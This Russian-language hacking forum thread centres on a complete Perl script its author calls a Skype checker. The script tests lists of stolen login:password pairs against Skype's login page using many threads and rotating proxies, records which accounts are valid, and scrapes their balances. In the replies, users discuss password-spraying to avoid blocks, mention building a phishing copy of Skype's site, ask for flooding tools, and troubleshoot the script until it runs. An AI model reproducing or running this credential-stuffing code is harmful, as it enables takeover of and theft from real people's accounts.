[PERL] Skype Cheker by Gaus

Discussion in 'PHP' started by Gaus, 23 Jun 2009.

  1. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    137
    Likes Received:
    36
    Reputations:
    3
    Написал недавно, мб кому-то пригодится;)
    [ + ] Многопоточность
    [ + ] Поддержка прокси
    [ + ] Определение баланса валидных аккаунтов​
    Code:
    #!/usr/bin/perl
    use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use threads;
    use threads::shared;
    use Fcntl ':flock';
    ###################################
    my $threads = 1;                  # Кол-во потоков
    my $accs_file = 'data/accs.txt';  # Файл со списком аккаунтов
    my $accs_delm = ':';              # Разделитель списка аккаунтов
    my $proxy_file = 'data/proxy.txt';# Файл со списком proxy
    my $proxy_mode = 'OFF';           # Режим использования proxy(ON/OFF)
    my $delay = 0;                    # Задержка
    ###################################
    $| = 1;
    system 'title Skype Checker (c) Gaus 2010 icq 648249';
    system 'color A';
    my @accs : shared = lf($accs_file);
    my @proxy : shared = lf($proxy_file);
    my $valid : shared = 0;
    my $invalid : shared = 0;
    my $err : shared = 0;
    threads->new(\&main) for 1 .. $threads;
    $_->join for threads->list;
    sub main
    {
        while(@accs)
        {
            my $ua = LWP::UserAgent->new(timeout => 35,
                                         cookie_jar => new HTTP::Cookies,
                                         agent => agent());
            my ($login, $pass) = split $accs_delm => shift @accs;
            GET:
            if($proxy_mode eq 'ON')
            {
                until(proxy($ua)){}
            }
            my $answ = $ua->post('https://secure.skype.com/account/intl/ru/login',
                                ['invite_token' => '',
                                 'timezone_field' => '+02|00',
                                 'username' => $login,
                                 'password' => $pass])->as_string;
            if($answ =~ m,302 Found,i)
            {
                {
                    lock $valid;
                    ++$valid 
                }            
                my $req = $ua->get('https://secure.skype.com/account/intl/ru/')->content;
                if($req =~ m,;</span>(.+?)</span>,i)
                {
                    $pass .= ';'.$1
                }
                wf('valid_accs.txt', "$login:$pass\n");
                cout("[ + ] Valid account[$login:$pass]    \n")
            }
            elsif($answ =~ m,Ошибка идентификации,i)
            {
                {
                    lock $invalid;
                    ++$invalid
                }
                wf('invalid_accs.txt', "$login:$pass\n");
                cout("[ - ] Invalid account[$login:$pass]    \n") 
            }
            elsif($answ =~ m,405 Method|500 read|500 Can't|CoDeeN,i)
            {
                cout("[ ~ ] Error proxy, trying again...    \n");
                goto GET
            }
            else
            {
                {
                    lock $err;
                    ++$err
                }
                wf('error_accs.txt', "$login:$pass\n");
                cout("[ - ] Error account[$login:$pass]    \n")  
            }
            sleep $delay
        }
    }
    sub proxy
    {
        my $ua = shift;
        my ($ip, $port) = split ':' => $proxy[rand scalar @proxy];
        $ua->proxy('http' => 'http://'.$ip.':'.$port);
        my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content;
        if($test =~ m,REMOTE_ADDR=$ip,i)
        {
            cout("[ + ] Try proxy[$ip:$port]       \n");
            return 1
        }
        else
        {
            cout("[ - ] Bad proxy[$ip:$port]      \n");
            return 0
        }
    }
    sub agent
    {
        my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];
        return $agents[rand scalar @agents]
    }
    sub cout
    {
        print $_[0];
        print "[Valid: $valid | Invalid: $invalid | Error: $err]\r"
    }
    sub lf
    {
        open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
        chomp(my @data = <$dat>);
        close $dat;
        return @data
    }
    sub wf
    {
        open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
        flock $dat, LOCK_EX;
        print $dat $_[1];
        flock $dat, LOCK_UN;
        close $dat
    }
     
    #1 Gaus, 23 Jun 2009
    Last edited: 22 Jan 2010
    2 people like this.
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,390
    Likes Received:
    1,209
    Reputations:
    475
    кто бы уже написал прогу для скайпа работающую через протокол скайпа, а не веб
     
  3. [n]-c0der

    [n]-c0der Member

    Joined:
    3 Feb 2009
    Messages:
    86
    Likes Received:
    25
    Reputations:
    -1
    Уже написали )), к примеру скайп флудер на пайтоне использующий библиотеку скайповскую.
     
    1 person likes this.
  4. Grinya11

    Grinya11 Member

    Joined:
    11 Feb 2009
    Messages:
    39
    Likes Received:
    7
    Reputations:
    0
    А реально зделать этот скрипт для аттаки акка перебором? впринципи это реально... вот как
     
  5. Grinya11

    Grinya11 Member

    Joined:
    11 Feb 2009
    Messages:
    39
    Likes Received:
    7
    Reputations:
    0
    эт скайп серв блочит множество запросов с одного ип?
     
  6. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    137
    Likes Received:
    36
    Reputations:
    3
    мб,вроде если брутить на один пасс множество логинов, то вроде не блочит.
     
  7. Grinya11

    Grinya11 Member

    Joined:
    11 Feb 2009
    Messages:
    39
    Likes Received:
    7
    Reputations:
    0
    ну да только если так! Вот мучу щас фейк скайпа сайта, всучу комунить
     
  8. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    137
    Likes Received:
    36
    Reputations:
    3
    Реально, могу сделать, но это никому не нужно
     
    #8 Gaus, 2 Jul 2009
    Last edited: 6 Dec 2009
  9. !JaX!

    !JaX! Elder - Старейшина

    Joined:
    28 Apr 2007
    Messages:
    0
    Likes Received:
    18
    Reputations:
    -2
    Code:
    C:\skype brut>cmd
    Microsoft Windows XP [Версия 5.1.2600]
    (С) Корпорация Майкрософт, 1985-2001.
    
    C:\skype brut>brut.pl
    Thread 1 terminated abnormally: Undefined subroutine &main::proxy called at C:\s
    kype brut\brut.pl line 34.
    
    C:\skype brut>
    
    Что не так?
     
  10. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    137
    Likes Received:
    36
    Reputations:
    3
    Упс, я забыл кусок кода вставить:) попробуй заново
     
  11. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    572
    Likes Received:
    86
    Reputations:
    11
    А есть ли у кого питоновский скриптик для флуда???
    или софт для флуда?
    Раньше помню был SkypeKiller но я его куда то похерел
     
  12. toby1980

    toby1980 Active Member

    Joined:
    11 Jul 2009
    Messages:
    66
    Likes Received:
    165
    Reputations:
    5
    кто сбрутил уже? есть счастливчики?
     
  13. axe89

    axe89 Banned

    Joined:
    18 Aug 2008
    Messages:
    153
    Likes Received:
    49
    Reputations:
    -6
    а как запустить то?
     
  14. axe89

    axe89 Banned

    Joined:
    18 Aug 2008
    Messages:
    153
    Likes Received:
    49
    Reputations:
    -6
    ну подскажите как запустить я вроде всё правельно зделал а чёто не работает
     
  15. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    137
    Likes Received:
    36
    Reputations:
    3
    Качаешь ActivePerl, затем качаешь скрипт, настраиваешь его и запускаешь файл run.bat
     
    #15 Gaus, 6 Dec 2009
    Last edited: 22 Jan 2010
    1 person likes this.
  16. ВоЕН КОТЭ

    Joined:
    25 Jun 2009
    Messages:
    0
    Likes Received:
    6
    Reputations:
    0
    спасибо)
     
  17. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    фигня какаята(
    через веб чекать убога
     
    2 people like this.
  18. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    137
    Likes Received:
    36
    Reputations:
    3
    Опять недоглядел, забыл последнюю функцию вставить)
    Обновил первый пост.
     
  19. Pyhin

    Pyhin Member

    Joined:
    25 Oct 2008
    Messages:
    0
    Likes Received:
    32
    Reputations:
    0
    Спасибо работает!
     
Loading...